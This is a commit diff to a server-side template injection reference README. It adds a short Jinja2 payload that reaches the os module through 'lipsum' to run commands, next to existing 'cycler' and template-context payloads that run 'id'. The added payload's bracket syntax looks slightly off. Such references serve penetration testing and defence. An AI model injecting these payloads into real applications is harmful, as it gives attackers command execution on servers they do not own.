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Adding Jinja2 RCE through lipsum in Templates

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Rémi GASCOU (Podalirius) 2023-05-09 18:34:35 +02:00 committed by GitHub
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10
Server Side Template Injection/README.md
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@ -563,7 +563,7 @@ But when `__builtins__` is filtered, the following payloads are context-free, an
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
```
We can use these shorter payloads (this is the shorter payloads known yet):
We can use these shorter payloads:
```python
{{ cycler.__init__.__globals__.os.popen('id').read() }}
@ -573,6 +573,14 @@ We can use these shorter payloads (this is the shorter payloads known yet):
Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/
With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template:
```python
{{ lipsum.__globals__.["os"].popen('id').read() }}
```
Source: https://twitter.com/podalirius_/status/1655970628648697860
#### Exploit the SSTI by calling subprocess.Popen
:warning: the number 396 will vary depending of the application.